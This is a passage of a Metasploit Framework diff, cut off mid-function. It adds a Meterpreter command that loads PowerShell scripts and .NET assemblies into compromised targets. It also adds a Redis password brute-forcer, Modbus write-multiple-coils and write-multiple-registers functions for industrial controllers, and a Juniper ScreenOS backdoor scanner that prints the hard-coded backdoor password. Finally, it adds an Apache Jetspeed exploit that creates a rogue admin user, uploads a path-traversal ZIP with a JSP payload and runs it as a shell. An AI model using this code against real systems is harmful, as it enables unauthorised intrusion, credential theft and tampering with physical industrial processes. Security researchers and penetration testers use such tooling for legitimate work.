if opts[:file].end_with?('.ps1')
|
||||
opts[:code] = ::File.read(opts[:file])
|
||||
return execute_string(opts)
|
||||
end
|
||||
|
||||
# if it's a dll (hopefully a .NET 2.0 one) then do something different
|
||||
if opts[:file].end_with?('.dll')
|
||||
# TODO: perhaps do some kind of check to see if the DLL is a .NET assembly?
|
||||
binary = ::File.read(opts[:file])
|
||||
|
||||
request = Packet.create_request('powershell_assembly_load')
|
||||
request.add_tlv(TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE, binary.length)
|
||||
request.add_tlv(TLV_TYPE_POWERSHELL_ASSEMBLY, binary)
|
||||
client.send_request(request)
|
||||
return true
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
def execute_string(opts={})
|
||||
return nil unless opts[:code]
|
||||
|
||||
|
|
|
@ -8,6 +8,8 @@ module Powershell
|
|||
TLV_TYPE_POWERSHELL_SESSIONID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1)
|
||||
TLV_TYPE_POWERSHELL_CODE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
|
||||
TLV_TYPE_POWERSHELL_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
|
||||
TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 4)
|
||||
TLV_TYPE_POWERSHELL_ASSEMBLY = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 5)
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -29,6 +29,7 @@ class Console::CommandDispatcher::Powershell
|
|||
#
|
||||
def commands
|
||||
{
|
||||
'powershell_import' => 'Import a PS1 script or .NET Assembly DLL',
|
||||
'powershell_shell' => 'Create an interactive Powershell prompt',
|
||||
'powershell_execute' => 'Execute a Powershell command string'
|
||||
}
|
||||
|
@ -68,6 +69,51 @@ class Console::CommandDispatcher::Powershell
|
|||
shell.interact_with_channel(channel)
|
||||
end
|
||||
|
||||
@@powershell_import_opts = Rex::Parser::Arguments.new(
|
||||
'-s' => [true, 'Specify the id/name of the Powershell session to run the command in.'],
|
||||
'-h' => [false, 'Help banner']
|
||||
)
|
||||
|
||||
def powershell_import_usage
|
||||
print_line('Usage: powershell_import <path to file> [-s session-id]')
|
||||
print_line
|
||||
print_line('Imports a powershell script or assembly into the target.')
|
||||
print_line('The file must end in ".ps1" or ".dll".')
|
||||
print_line('Powershell scripts can be loaded into any session (via -s).')
|
||||
print_line('.NET assemblies are applied to all sessions.')
|
||||
print_line(@@powershell_import_opts.usage)
|
||||
end
|
||||
|
||||
#
|
||||
# Import a script or assembly component into the target.
|
||||
#
|
||||
def cmd_powershell_import(*args)
|
||||
if args.length == 0 || args.include?('-h')
|
||||
powershell_import_usage
|
||||
return false
|
||||
end
|
||||
|
||||
opts = {
|
||||
file: args.shift
|
||||
}
|
||||
|
||||
@@powershell_import_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when '-s'
|
||||
opts[:session_id] = val
|
||||
end
|
||||
}
|
||||
|
||||
result = client.powershell.import_file(opts)
|
||||
if result.nil? || result == false
|
||||
print_error("File failed to load.")
|
||||
elsif result == true || result.empty?
|
||||
print_good("File successfully imported. No result was returned.")
|
||||
else
|
||||
print_good("File successfully imported. Result:\n#{result}")
|
||||
end
|
||||
end
|
||||
|
||||
@@powershell_execute_opts = Rex::Parser::Arguments.new(
|
||||
'-s' => [true, 'Specify the id/name of the Powershell session to run the command in.'],
|
||||
'-h' => [false, 'Help banner']
|
||||
|
|
|
@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '1.1.0'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.1.4'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.1.6'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
|
@ -92,6 +92,8 @@ Gem::Specification.new do |spec|
|
|||
# Needed for documentation generation
|
||||
spec.add_runtime_dependency 'octokit'
|
||||
spec.add_runtime_dependency 'redcarpet'
|
||||
# Needed for Microsoft patch finding tool (msu_finder)
|
||||
spec.add_runtime_dependency 'patch_finder', '>= 1.0.2'
|
||||
|
||||
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
|
||||
# NoMethodError undefined method `dlopen' for Fiddle:Module
|
||||
|
|
|
@ -1,84 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Module::Deprecated
|
||||
deprecated(Date.new(2016, 3, 5), 'auxiliary/scanner/redis/redis_server')
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Redis-server Scanner',
|
||||
'Description' => %q{
|
||||
This module scans for Redis server. By default Redis has no auth. If auth
|
||||
(password only) is used, it is then possible to execute a brute force attack on
|
||||
the server. This scanner will find open or password protected Redis servers and
|
||||
report back the server information
|
||||
},
|
||||
'Author' => [ 'iallison <ian[at]team-allison.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(6379),
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_status("Scanning IP: #{ip.to_s}")
|
||||
begin
|
||||
pkt = "PING\r\n"
|
||||
connect
|
||||
sock.put(pkt)
|
||||
res = sock.get_once
|
||||
|
||||
if res =~ /PONG/
|
||||
info = "INFO\r\n"
|
||||
sock.put(info)
|
||||
data = sock.get_once
|
||||
print_status("Redis Server Information #{data}")
|
||||
data_sanitized = data.to_s
|
||||
elsif res =~ /ERR/
|
||||
auth = "AUTH foobared\r\n"
|
||||
sock.put(auth)
|
||||
data = sock.get_once
|
||||
print_status("Response: #{data.chop}")
|
||||
if data =~ /\-ERR\sinvalid\spassword/
|
||||
print_status("Redis server is using AUTH")
|
||||
else
|
||||
print_good("Redis server is using the default password of foobared")
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:type => 'password',
|
||||
:data => 'foobared'
|
||||
)
|
||||
end
|
||||
else
|
||||
print_error "#{ip} does not have a Redis server"
|
||||
end
|
||||
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:name => "redis server",
|
||||
:info => data_sanitized
|
||||
)
|
||||
|
||||
disconnect
|
||||
|
||||
rescue ::Exception => e
|
||||
print_error "Unable to connect: #{e.to_s}"
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,93 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/redis'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Redis
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Redis Login Utility',
|
||||
'Description' => 'This module attempts to authenticate to an REDIS service.',
|
||||
'Author' => [ 'Nixawk' ],
|
||||
'References' => [
|
||||
['URL', 'http://redis.io/topics/protocol']
|
||||
],
|
||||
'License' => MSF_LICENSE))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPath.new('PASS_FILE',
|
||||
[
|
||||
false,
|
||||
'The file that contains a list of of probable passwords.',
|
||||
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt')
|
||||
])
|
||||
], self.class)
|
||||
|
||||
# redis does not have an username, there's only password
|
||||
deregister_options('USERNAME', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'DB_ALL_USERS', 'DB_ALL_CREDS')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
# The LoginScanner API refuses to run if there's no username, so we give it a fake one.
|
||||
# But we will not be reporting this to the database.
|
||||
username: 'redis'
|
||||
)
|
||||
|
||||
cred_collection = prepend_db_passwords(cred_collection)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::Redis.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
connection_timeout: 30
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: self.fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
credential_data.delete(:username) # This service uses no username
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
|
||||
if datastore['VERBOSE']
|
||||
vprint_good "#{peer} - LOGIN SUCCESSFUL: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
else
|
||||
print_good "#{peer} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
end
|
||||
when Metasploit::Model::Login::Status::NO_AUTH_REQUIRED
|
||||
vprint_error "#{peer} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
break
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
vprint_error "#{peer} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Redis Scanner',
|
||||
'Name' => 'Redis Command Execute Scanner',
|
||||
'Description' => %q(
|
||||
This module locates Redis endpoints by attempting to run a specified
|
||||
Redis command.
|
||||
|
|
|
@ -20,24 +20,31 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'Author' =>
|
||||
[
|
||||
'EsMnemon <esm[at]mnemonic.no>', # original write-only module
|
||||
'Arnaud SOULLIE <arnaud.soullie[at]solucom.fr>' # new code that allows read/write
|
||||
'Arnaud SOULLIE <arnaud.soullie[at]solucom.fr>', # code that allows read/write
|
||||
'Alexandrine TORRENTS <alexandrine.torrents[at]eurecom.fr>', # code that allows reading/writing at multiple consecutive addresses
|
||||
'Mathieu CHEVALIER <mathieu.chevalier[at]eurecom.fr>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
['READ_COIL', { 'Description' => 'Read one bit from a coil' } ],
|
||||
['READ_COILS', { 'Description' => 'Read bits from several coils' } ],
|
||||
['READ_REGISTERS', { 'Description' => 'Read words from several registers' } ],
|
||||
['WRITE_COIL', { 'Description' => 'Write one bit to a coil' } ],
|
||||
['READ_REGISTER', { 'Description' => 'Read one word from a register' } ],
|
||||
['WRITE_REGISTER', { 'Description' => 'Write one word to a register' } ]
|
||||
['WRITE_REGISTER', { 'Description' => 'Write one word to a register' } ],
|
||||
['WRITE_COILS', { 'Description' => 'Write bits to several coils' } ],
|
||||
['WRITE_REGISTERS', { 'Description' => 'Write words to several registers' } ]
|
||||
],
|
||||
'DefaultAction' => 'READ_REGISTER'
|
||||
'DefaultAction' => 'READ_REGISTERS'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(502),
|
||||
OptInt.new('DATA', [false, "Data to write (WRITE_COIL and WRITE_REGISTER modes only)"]),
|
||||
OptInt.new('DATA_ADDRESS', [true, "Modbus data address"]),
|
||||
OptInt.new('NUMBER', [false, "Number of coils/registers to read (READ_COILS ans READ_REGISTERS modes only)", 1]),
|
||||
OptInt.new('DATA', [false, "Data to write (WRITE_COIL and WRITE_REGISTER modes only)"]),
|
||||
OptString.new('DATA_COILS', [false, "Data in binary to write (WRITE_COILS mode only) e.g. 0110"]),
|
||||
OptString.new('DATA_REGISTERS', [false, "Words to write to each register separated with a comma (WRITE_REGISTERS mode only) e.g. 1,2,3,4"]),
|
||||
OptInt.new('UNIT_NUMBER', [false, "Modbus unit number", 1]),
|
||||
], self.class)
|
||||
|
||||
|
@ -63,7 +70,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
payload = [datastore['UNIT_NUMBER']].pack("c")
|
||||
payload += [@function_code].pack("c")
|
||||
payload += [datastore['DATA_ADDRESS']].pack("n")
|
||||
payload += [1].pack("n")
|
||||
payload += [datastore['NUMBER']].pack("n")
|
||||
make_payload(payload)
|
||||
end
|
||||
|
||||
|
@ -79,6 +86,21 @@ class MetasploitModule < Msf::Auxiliary
|
|||
packet_data
|
||||
end
|
||||
|
||||
def make_write_coils_payload(data, byte)
|
||||
payload = [datastore['UNIT_NUMBER']].pack("c")
|
||||
payload += [@function_code].pack("c")
|
||||
payload += [datastore['DATA_ADDRESS']].pack("n")
|
||||
payload += [datastore['DATA_COILS'].size].pack("n") # bit count
|
||||
payload += [byte].pack("c") # byte count
|
||||
for i in 0..(byte-1)
|
||||
payload += [data[i]].pack("b*")
|
||||
end
|
||||
|
||||
packet_data = make_payload(payload)
|
||||
|
||||
packet_data
|
||||
end
|
||||
|
||||
def make_write_register_payload(data)
|
||||
payload = [datastore['UNIT_NUMBER']].pack("c")
|
||||
payload += [@function_code].pack("c")
|
||||
|
@ -88,6 +110,19 @@ class MetasploitModule < Msf::Auxiliary
|
|||
make_payload(payload)
|
||||
end
|
||||
|
||||
def make_write_registers_payload(data, size)
|
||||
payload = [datastore['UNIT_NUMBER']].pack("c")
|
||||
payload += [@function_code].pack("c")
|
||||
payload += [datastore['DATA_ADDRESS']].pack("n")
|
||||
payload += [size].pack("n") # word count
|
||||
payload += [2*size].pack("c") # byte count
|
||||
for i in 0..(size-1)
|
||||
payload += [data[i]].pack("n")
|
||||
end
|
||||
|
||||
make_payload(payload)
|
||||
end
|
||||
|
||||
def handle_error(response)
|
||||
case response.reverse.unpack("c")[0].to_i
|
||||
when 1
|
||||
|
@ -106,34 +141,57 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
def read_coil
|
||||
def read_coils
|
||||
if datastore['NUMBER']+datastore['DATA_ADDRESS'] > 65535
|
||||
print_error("Coils addresses go from 0 to 65535. You cannot go beyond.")
|
||||
return
|
||||
end
|
||||
@function_code = 0x1
|
||||
print_status("Sending READ COIL...")
|
||||
print_status("Sending READ COILS...")
|
||||
response = send_frame(make_read_payload)
|
||||
values = []
|
||||
if response.nil?
|
||||
print_error("No answer for the READ COIL")
|
||||
print_error("No answer for the READ COILS")
|
||||
return
|
||||
elsif response.unpack("C*")[7] == (0x80 | @function_code)
|
||||
handle_error(response)
|
||||
elsif response.unpack("C*")[7] == @function_code
|
||||
value = response[9].unpack("c")[0]
|
||||
print_good("Coil value at address #{datastore['DATA_ADDRESS']} : #{value}")
|
||||
loop = (datastore['NUMBER']-1)/8
|
||||
for i in 0..loop
|
||||
bin_value = response[9+i].unpack("b*")[0]
|
||||
list = bin_value.split("")
|
||||
for j in 0..7
|
||||
list[j] = list[j].to_i
|
||||
values[i*8 + j] = list[j]
|
||||
end
|
||||
end
|
||||
values = values[0..(datastore['NUMBER']-1)]
|
||||
print_good("#{datastore['NUMBER']} coil values from address #{datastore['DATA_ADDRESS']} : ")
|
||||
print_good("#{values}")
|
||||
else
|
||||
print_error("Unknown answer")
|
||||
end
|
||||
end
|
||||
|
||||
def read_register
|
||||
def read_registers
|
||||
if datastore['NUMBER']+datastore['DATA_ADDRESS'] > 65535
|
||||
print_error("Registers addresses go from 0 to 65535. You cannot go beyond.")
|
||||
return
|
||||
end
|
||||
@function_code = 3
|
||||
print_status("Sending READ REGISTER...")
|
||||
print_status("Sending READ REGISTERS...")
|
||||
response = send_frame(make_read_payload)
|
||||
values = []
|
||||
if response.nil?
|
||||
print_error("No answer for the READ REGISTER")
|
||||
print_error("No answer for the READ REGISTERS")
|
||||
elsif response.unpack("C*")[7] == (0x80 | @function_code)
|
||||
handle_error(response)
|
||||
elsif response.unpack("C*")[7] == @function_code
|
||||
value = response[9..10].unpack("n")[0]
|
||||
print_good("Register value at address #{datastore['DATA_ADDRESS']} : #{value}")
|
||||
for i in 0..(datastore['NUMBER']-1)
|
||||
values.push(response[9+2*i..10+2*i].unpack("n")[0])
|
||||
end
|
||||
print_good("#{datastore['NUMBER']} register values from address #{datastore['DATA_ADDRESS']} : ")
|
||||
print_good("#{values}")
|
||||
else
|
||||
print_error("Unknown answer")
|
||||
end
|
||||
|
@ -162,6 +220,39 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def write_coils
|
||||
@function_code = 15
|
||||
temp = datastore['DATA_COILS']
|
||||
check = temp.split("")
|
||||
if temp.size > 65535
|
||||
print_error("DATA_COILS size must be between 0 and 65535")
|
||||
return
|
||||
end
|
||||
for j in check
|
||||
if j=="0" or j=="1"
|
||||
else
|
||||
print_error("DATA_COILS value must only contain 0s and 1s without space")
|
||||
return
|
||||
end
|
||||
end
|
||||
byte_number = (temp.size-1)/8 + 1
|
||||
data = []
|
||||
for i in 0..(byte_number-1)
|
||||
data.push(temp[(i*8+0)..(i*8+7)])
|
||||
end
|
||||
print_status("Sending WRITE COILS...")
|
||||
response = send_frame(make_write_coils_payload(data, byte_number))
|
||||
if response.nil?
|
||||
print_error("No answer for the WRITE COILS")
|
||||
elsif response.unpack("C*")[7] == (0x80 | @function_code)
|
||||
handle_error(response)
|
||||
elsif response.unpack("C*")[7] == @function_code
|
||||
print_good("Values #{datastore['DATA_COILS']} successfully written from coil address #{datastore['DATA_ADDRESS']}")
|
||||
else
|
||||
print_error("Unknown answer")
|
||||
end
|
||||
end
|
||||
|
||||
def write_register
|
||||
@function_code = 6
|
||||
if datastore['DATA'] < 0 || datastore['DATA'] > 65535
|
||||
|
@ -181,18 +272,74 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def write_registers
|
||||
@function_code = 16
|
||||
check = datastore['DATA_REGISTERS'].split("")
|
||||
for j in 0..(check.size-1)
|
||||
if check[j] == "0" or check[j]== "1" or check[j]== "2" or check[j]== "3" or check[j]== "4" or check[j]== "5" or check[j]== "6" or check[j]== "7" or check[j]== "8" or check[j]== "9" or check[j]== ","
|
||||
if check[j] == "," and check[j+1] == ","
|
||||
print_error("DATA_REGISTERS cannot contain two consecutive commas")
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("DATA_REGISTERS value must only contain numbers and commas without space")
|
||||
return
|
||||
end
|
||||
end
|
||||
list = datastore['DATA_REGISTERS'].split(",")
|
||||
if list.size+datastore['DATA_ADDRESS'] > 65535
|
||||
print_error("Registers addresses go from 0 to 65535. You cannot go beyond.")
|
||||
return
|
||||
end
|
||||
data = []
|
||||
for i in 0..(list.size-1)
|
||||
data[i] = list[i].to_i
|
||||
end
|
||||
for j in 0..(data.size-1)
|
||||
if data[j] < 0 || data[j] > 65535
|
||||
print_error("Each word to write must be an integer between 0 and 65535 in WRITE_REGISTERS mode")
|
||||
return
|
||||
end
|
||||
end
|
||||
print_status("Sending WRITE REGISTERS...")
|
||||
response = send_frame(make_write_registers_payload(data, data.size))
|
||||
if response.nil?
|
||||
print_error("No answer for the WRITE REGISTERS")
|
||||
elsif response.unpack("C*")[7] == (0x80 | @function_code)
|
||||
handle_error(response)
|
||||
elsif response.unpack("C*")[7] == @function_code
|
||||
print_good("Values #{datastore['DATA_REGISTERS']} successfully written from registry address #{datastore['DATA_ADDRESS']}")
|
||||
else
|
||||
print_error("Unknown answer")
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
@modbus_counter = 0x0000 # used for modbus frames
|
||||
connect
|
||||
case action.name
|
||||
when "READ_COIL"
|
||||
read_coil
|
||||
when "READ_REGISTER"
|
||||
read_register
|
||||
when "READ_COILS"
|
||||
read_coils
|
||||
when "READ_REGISTERS"
|
||||
read_registers
|
||||
when "WRITE_COIL"
|
||||
write_coil
|
||||
when "WRITE_REGISTER"
|
||||
write_register
|
||||
when "WRITE_COILS"
|
||||
if datastore['DATA_COILS'] == nil
|
||||
print_error("The following option is needed in WRITE_COILS mode: DATA_COILS.")
|
||||
return
|
||||
else
|
||||
write_coils
|
||||
end
|
||||
when "WRITE_REGISTERS"
|
||||
if datastore['DATA_REGISTERS'] == nil
|
||||
print_error("The following option is needed in WRITE_REGISTERS mode: DATA_REGISTERS.")
|
||||
return
|
||||
else
|
||||
write_registers
|
||||
end
|
||||
else
|
||||
print_error("Invalid ACTION")
|
||||
end
|
||||
|
|
|
@ -0,0 +1,80 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'net/ssh'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Juniper SSH Backdoor Scanner',
|
||||
'Description' => %q{
|
||||
This module scans for the Juniper SSH backdoor (also valid on Telnet).
|
||||
Any username is required, and the password is <<< %s(un='%s') = %u.
|
||||
},
|
||||
'Author' => [
|
||||
'hdm', # Discovery
|
||||
'h00die <mike[at]stcyrsecurity.com>' # Module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2015-7755'],
|
||||
['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor'],
|
||||
['URL', 'https://kb.juniper.net/InfoCenter/index?page=content&id=JSA10713']
|
||||
],
|
||||
'DisclosureDate' => 'Dec 20 2015',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(22)
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
|
||||
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
|
||||
])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
ssh_opts = {
|
||||
port: rport,
|
||||
auth_methods: ['password', 'keyboard-interactive'],
|
||||
password: %q{<<< %s(un='%s') = %u}
|
||||
}
|
||||
|
||||
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
begin
|
||||
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
Net::SSH.start(
|
||||
ip,
|
||||
'admin',
|
||||
ssh_opts
|
||||
)
|
||||
end
|
||||
rescue Net::SSH::Exception => e
|
||||
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
|
||||
return
|
||||
end
|
||||
|
||||
if ssh
|
||||
print_good("#{ip}:#{rport} - Logged in with backdoor account admin:<<< %s(un='%s') = %u")
|
||||
report_vuln(
|
||||
:host => ip,
|
||||
:name => self.name,
|
||||
:refs => self.references,
|
||||
:info => ssh.transport.server_version.version
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,226 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apache Jetspeed Arbitrary File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits the unsecured User Manager REST API and a ZIP file
|
||||
path traversal in Apache Jetspeed-2, versions 2.3.0 and unknown earlier
|
||||
versions, to upload and execute a shell.
|
||||
|
||||
Note: this exploit will create, use, and then delete a new admin user.
|
||||
|
||||
Warning: in testing, exploiting the file upload clobbered the web
|
||||
interface beyond repair. No workaround has been found yet. Use this
|
||||
module at your own risk. No check will be implemented.
|
||||
},
|
||||
'Author' => [
|
||||
'Andreas Lindh', # Vulnerability discovery
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2016-0710'],
|
||||
['CVE', '2016-0709'],
|
||||
['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'],
|
||||
['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'],
|
||||
['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 6 2016',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux', 'win'],
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
['Apache Jetspeed <= 2.3.0 (Linux)', 'Platform' => 'linux'],
|
||||
['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win']
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(8080)
|
||||
])
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_warning(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Creating admin user: #{username}:#{password}")
|
||||
create_admin_user
|
||||
# This was originally a typo... but we're having so much fun!
|
||||
print_status('Kenny Loggins in')
|
||||
kenny_loggins
|
||||
print_warning('You have entered the Danger Zone')
|
||||
print_status("Uploading payload ZIP: #{zip_filename}")
|
||||
upload_payload_zip
|
||||
print_status("Executing JSP shell: /jetspeed/#{jsp_filename}")
|
||||
exec_jsp_shell
|
||||
end
|
||||
|
||||
def cleanup
|
||||
print_status("Deleting user: #{username}")
|
||||
delete_user
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Exploit methods
|
||||
#
|
||||
|
||||
def create_admin_user
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => '/jetspeed/services/usermanager/users',
|
||||
'vars_post' => {
|
||||
'name' => username,
|
||||
'password' => password,
|
||||
'password_confirm' => password
|
||||
}
|
||||
)
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => "/jetspeed/services/usermanager/users/#{username}",
|
||||
'vars_post' => {
|
||||
'user_enabled' => 'true',
|
||||
'roles' => 'admin'
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def kenny_loggins
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/jetspeed/login/redirector'
|
||||
)
|
||||
|
||||
res = send_request_cgi!(
|
||||
'method' => 'POST',
|
||||
'uri' => '/jetspeed/login/j_security_check',
|
||||
'cookie' => res.get_cookies,
|
||||
'vars_post' => {
|
||||
'j_username' => username,
|
||||
'j_password' => password
|
||||
}
|
||||
)
|
||||
|
||||
@cookie = res.get_cookies
|
||||
end
|
||||
|
||||
# Let's pretend we're mechanize
|
||||
def import_file
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/jetspeed/portal/Administrative/site.psml',
|
||||
'cookie' => @cookie
|
||||
)
|
||||
|
||||
html = res.get_html_document
|
||||
import_export = html.at('//a[*//text() = "Import/Export"]/@href')
|
||||
|
||||
res = send_request_cgi!(
|
||||
'method' => 'POST',
|
||||
'uri' => import_export,
|
||||
'cookie' => @cookie
|
||||
)
|
||||
|
||||
html = res.get_html_document
|
||||
html.at('//form[*//text() = "Import File"]/@action')
|
||||
end
|
||||
|
||||
def upload_payload_zip
|
||||
zip = Rex::Zip::Archive.new
|
||||
zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded)
|
||||
|
||||
mime = Rex::MIME::Message.new
|
||||
mime.add_part(zip.pack, 'application/zip', 'binary',
|
||||
%Q{form-data; name="fileInput"; filename="#{zip_filename}"})
|
||||
mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"')
|
||||
mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"')
|
||||
|
||||
case target['Platform']
|
||||
when 'linux'
|
||||
register_files_for_cleanup("../webapps/jetspeed/#{jsp_filename}")
|
||||
register_files_for_cleanup("../temp/#{username}/#{zip_filename}")
|
||||
when 'win'
|
||||
register_files_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}")
|
||||
register_files_for_cleanup("..\\temp\\#{username}\\#{zip_filename}")
|
||||
end
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => import_file,
|
||||
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
||||
'cookie' => @cookie,
|
||||
'data' => mime.to_s
|
||||
)
|
||||
end
|
||||
|
||||
def exec_jsp_shell
|
||||
send_request_cgi(
|
||||
